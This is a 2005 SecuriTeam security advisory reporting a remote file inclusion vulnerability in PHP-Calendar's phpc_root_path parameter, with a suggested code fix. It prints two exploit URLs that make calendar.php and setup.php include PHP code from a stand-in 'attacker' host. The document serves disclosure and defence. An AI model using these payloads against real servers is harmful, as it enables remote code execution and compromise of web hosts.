[UNIX] PHP-Calendar File Inclusion Vulnerability (phpc_root_path)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/10/05

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    To: list@securiteam.com
Date: 10 Jan 2005 15:37:12 +0200

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      PHP-Calendar File Inclusion Vulnerability (phpc_root_path)
    ------------------------------------------------------------------------

    SUMMARY

     <http://php-calendar.sourceforge.net/> PHP-Calendar is "a PHP based
    calendaring program". Due to insufficient filtering of user provided data
    by PHP-Calendar, a remote attacker can cause the program to include
    arbitrary PHP files (external to the web site) and execute the code found
    in them.

    DETAILS

    Exploit:
    http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php
    http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php

    If PHP globals are set to on then it is highly probable that an attacker
    will be able to include arbitrary php files and thus execute system
    commands with the rights of the web server.

    Solution:
    PHP-Calendar has a defined constant to help prevent against stuff like
    this. It can be seen in other php-calendar files such as db.php

    if ( !defined('IN_PHPC') ) {
            die("Hacking attempt");
    }

    Adding the following to the top of the affected pages should suffice in
    preventing the kinds of attacks previously mentioned in this advisory.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@gulftech.org>
    GulfTech Security.
    The original article can be found at:
    <http://www.gulftech.org/?node=research&article_id=00060-12292004>
    http://www.gulftech.org/?node=research&article_id=00060-12292004

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